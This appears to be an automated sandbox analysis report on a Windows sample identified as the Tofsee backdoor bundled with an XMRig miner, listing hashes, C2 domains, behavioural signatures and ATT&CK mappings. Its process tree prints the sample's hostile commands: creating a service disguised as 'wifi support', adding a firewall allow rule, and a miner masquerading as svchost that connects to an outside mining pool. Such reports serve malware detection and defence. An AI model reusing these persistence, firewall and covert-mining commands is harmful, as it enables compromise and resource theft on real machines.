Analysis

  • max time kernel
    152s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-11-2022 20:47

General

  • Target

    aab9fb739d0cbd6d3880bc3194c76312d3ccedbaed57df9654847e4c9ea284a2.exe

  • Size

    145KB

  • MD5

    9650527993962fc77a3028b14a1013a9

  • SHA1

    3538764b4ae35abf22f5c560ec54d235029ab879

  • SHA256

    aab9fb739d0cbd6d3880bc3194c76312d3ccedbaed57df9654847e4c9ea284a2

  • SHA512

    a5e07e18362819b4ed438c277e0607eb9a15b040be5f7e10639deb9f4a6432c3096292e89fb0d70ad1009ab1ee155695b9b957ed762e2883c1b08aebc204cfcf

  • SSDEEP

    3072:cDh7gIwglBmk2fUp5+UHRgdWuCgWDQjArU86:dIjBb2ZSR+5CxDQje6

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\aab9fb739d0cbd6d3880bc3194c76312d3ccedbaed57df9654847e4c9ea284a2.exe
    "C:\Users\Admin\AppData\Local\Temp\aab9fb739d0cbd6d3880bc3194c76312d3ccedbaed57df9654847e4c9ea284a2.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4056
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\szlgrhpi\
      2⤵
        PID:3788
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tsrstdfi.exe" C:\Windows\SysWOW64\szlgrhpi\
        2⤵
          PID:4848
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create szlgrhpi binPath= "C:\Windows\SysWOW64\szlgrhpi\tsrstdfi.exe /d\"C:\Users\Admin\AppData\Local\Temp\aab9fb739d0cbd6d3880bc3194c76312d3ccedbaed57df9654847e4c9ea284a2.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4976
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description szlgrhpi "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start szlgrhpi
          2⤵
          • Launches sc.exe
          PID:4612
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2828
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4056 -s 1040
          2⤵
          • Program crash
          PID:1136
      • C:\Windows\SysWOW64\szlgrhpi\tsrstdfi.exe
        C:\Windows\SysWOW64\szlgrhpi\tsrstdfi.exe /d"C:\Users\Admin\AppData\Local\Temp\aab9fb739d0cbd6d3880bc3194c76312d3ccedbaed57df9654847e4c9ea284a2.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2252
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3268
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3064
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2252 -s 512
          2⤵
          • Program crash
          PID:2532
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4056 -ip 4056
        1⤵
          PID:4388
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 2252 -ip 2252
          1⤵
            PID:876

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\tsrstdfi.exe
            Filesize

            10.1MB

            MD5

            7a8502e9148a301943983cc48029930c

            SHA1

            8c1f77bac032e415b91f1cb6efc1134c858dcc6c

            SHA256

            1c7bc0a058902f430f2120743b2dbb423b4a7dc269a71b0d013c3a8f04dffb6e

            SHA512

            0adcbca0012839eacd9c123340ff45fac9d6269e3e4d37eab5bd537e8dfb2b3191eea01d3dbcce17fddfaf3ed1229cf899b4e49fd8f9328406381c63f97a2ddd

          • C:\Windows\SysWOW64\szlgrhpi\tsrstdfi.exe
            Filesize

            10.1MB

            MD5

            7a8502e9148a301943983cc48029930c

            SHA1

            8c1f77bac032e415b91f1cb6efc1134c858dcc6c

            SHA256

            1c7bc0a058902f430f2120743b2dbb423b4a7dc269a71b0d013c3a8f04dffb6e

            SHA512

            0adcbca0012839eacd9c123340ff45fac9d6269e3e4d37eab5bd537e8dfb2b3191eea01d3dbcce17fddfaf3ed1229cf899b4e49fd8f9328406381c63f97a2ddd

          • memory/2252-150-0x0000000000400000-0x000000000045B000-memory.dmp
            Filesize

            364KB

          • memory/2252-149-0x0000000000799000-0x00000000007A9000-memory.dmp
            Filesize

            64KB

          • memory/2828-142-0x0000000000000000-mapping.dmp
          • memory/3064-177-0x0000000000C00000-0x0000000000CF1000-memory.dmp
            Filesize

            964KB

          • memory/3064-172-0x0000000000C00000-0x0000000000CF1000-memory.dmp
            Filesize

            964KB

          • memory/3064-171-0x0000000000000000-mapping.dmp
          • memory/3268-159-0x00000000001A0000-0x00000000001B0000-memory.dmp
            Filesize

            64KB

          • memory/3268-151-0x0000000000120000-0x0000000000135000-memory.dmp
            Filesize

            84KB

          • memory/3268-168-0x00000000001C0000-0x00000000001C7000-memory.dmp
            Filesize

            28KB

          • memory/3268-165-0x0000000007040000-0x000000000744B000-memory.dmp
            Filesize

            4.0MB

          • memory/3268-162-0x00000000001B0000-0x00000000001B5000-memory.dmp
            Filesize

            20KB

          • memory/3268-145-0x0000000000000000-mapping.dmp
          • memory/3268-146-0x0000000000120000-0x0000000000135000-memory.dmp
            Filesize

            84KB

          • memory/3268-156-0x0000000000190000-0x0000000000196000-memory.dmp
            Filesize

            24KB

          • memory/3268-153-0x0000000002200000-0x000000000240F000-memory.dmp
            Filesize

            2.1MB

          • memory/3268-152-0x0000000000120000-0x0000000000135000-memory.dmp
            Filesize

            84KB

          • memory/3788-135-0x0000000000000000-mapping.dmp
          • memory/4056-132-0x00000000006BD000-0x00000000006CE000-memory.dmp
            Filesize

            68KB

          • memory/4056-143-0x00000000006BD000-0x00000000006CE000-memory.dmp
            Filesize

            68KB

          • memory/4056-144-0x0000000000400000-0x000000000045B000-memory.dmp
            Filesize

            364KB

          • memory/4056-134-0x0000000000400000-0x000000000045B000-memory.dmp
            Filesize

            364KB

          • memory/4056-133-0x00000000005B0000-0x00000000005C3000-memory.dmp
            Filesize

            76KB

          • memory/4612-140-0x0000000000000000-mapping.dmp
          • memory/4716-139-0x0000000000000000-mapping.dmp
          • memory/4848-136-0x0000000000000000-mapping.dmp
          • memory/4976-138-0x0000000000000000-mapping.dmp